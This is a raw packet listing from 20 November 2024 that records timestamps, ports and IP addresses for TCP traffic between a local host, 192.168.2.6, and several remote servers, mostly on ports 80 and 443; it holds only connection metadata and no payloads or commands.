Nov 20, 2024 14:43:41.590967894 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.591703892 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.591722965 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.597554922 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.597595930 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.597712994 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.601970911 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.601984024 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.646178961 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.646230936 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.647423983 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.647500038 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.654536963 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.654556990 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.654876947 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.654930115 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.656613111 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:41.656639099 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:41.663983107 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.664053917 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.664325953 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.664325953 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.664388895 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.664403915 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.668375015 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.668415070 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.668653011 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.668653011 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.668684006 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.762981892 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.763148069 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.763220072 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.763515949 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.763539076 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.763550997 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.763556957 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.769637108 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.769675970 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.769759893 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.769959927 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.769973993 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.870309114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.870364904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.870373964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.870433092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.870752096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.870794058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.870847940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.870891094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.870960951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.871098042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.871951103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.872003078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.872199059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.872247934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.873070955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.873178959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.873915911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.873959064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.874007940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.874032974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.874083996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.875009060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.875143051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.875749111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.875871897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.876060009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.876179934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.876344919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.877012014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.877036095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.877078056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.877116919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.877193928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.878057003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.878190994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.878758907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.878849030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.879144907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.879158974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.879334927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.880042076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.880166054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.880245924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.881277084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.881326914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.881397009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.881397009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.882141113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.882294893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.882419109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.882647991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.883163929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.883210897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.883385897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.883440018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.884139061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.884205103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.884284973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.884504080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.885190964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.885310888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.885401011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.885441065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.886152983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.886276960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.886295080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.886334896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.887176037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.887222052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.887257099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.887324095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.888176918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.888288021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.888303041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.888389111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.889229059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.889337063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.889338017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.889398098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.890311956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.890383005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.890419006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.890516996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.891284943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.891331911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.891499043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.891598940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.892221928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.892271996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.892467022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.892532110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.893304110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.893367052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.893387079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.893426895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.894335032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.894382000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.894396067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.894540071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.895382881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.895395041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.895443916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.896332026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.896501064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.896543026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.896639109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.897536993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.897608042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.897656918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.898485899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.898582935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.898619890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.898665905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.899394989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.899482965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.899709940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.899792910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.900482893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.900532007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.900587082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.900681973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.901482105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.901618958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.901717901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.902487040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.902543068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.902621984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.902779102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.903501034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.903553963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.903589964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.903628111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.904508114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.904552937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.904831886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.905016899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.905503988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.905554056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.905706882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.905795097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.906553030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.906656027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.906677008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.906759024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.907610893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.907668114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.908247948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.908297062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.908570051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.908691883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.908710003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.908798933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.909610987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.909658909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.909910917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.910360098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.910650969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.910706997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.911183119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.911237955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.911650896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.911767960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.911842108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.911922932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.912659883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.912741899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.912930965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.912981033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.913678885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.913743019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.913777113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.913937092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.914693117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.914742947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.914834023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.914870977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.915777922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.915942907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.915961981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.916022062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.916743994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.916817904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.916917086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.917553902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.917849064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.917912960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.918154001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.918201923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.918822050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.918874979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.919187069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.919277906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.919828892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.919882059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.920222998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.920270920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.920829058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.920876980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.920970917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.921077967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.921858072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.921905041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.922240973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.922333002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.922960043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.923005104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.923115015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.923151970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.923922062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.923974037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.924035072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.924073935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.924961090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.925069094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.925142050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.925909996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.925980091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.071552992 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.071584940 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.071649075 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.071649075 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.071667910 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.071722031 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.071758986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.071819067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.072125912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.072295904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.072305918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.072336912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.072390079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.072442055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.072613001 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.072659016 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.072674990 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.072747946 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.073420048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.073503971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.073573112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.073736906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.074074984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.074143887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.074285030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.074354887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.075097084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.075241089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.075295925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.075359106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.075679064 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075710058 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075717926 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075746059 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075761080 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075771093 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.075772047 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075790882 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.075825930 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.075848103 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.076111078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.076174021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.076742887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.076877117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.077088118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.077233076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.077236891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.077286959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.078178883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.078290939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.078623056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.078715086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.079169989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.079215050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.079458952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.079651117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.080221891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.080370903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.080384016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.080672979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.081038952 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:42.081062078 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:42.081214905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.081294060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.081553936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.081818104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.082261086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.082283020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.082333088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.082386017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.083203077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.083282948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.083544016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.083640099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.084244967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.084620953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.084633112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.084728956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.085407019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.085505962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.086146116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.086204052 CET	49800	80	192.168.2.6	185.215.113.206
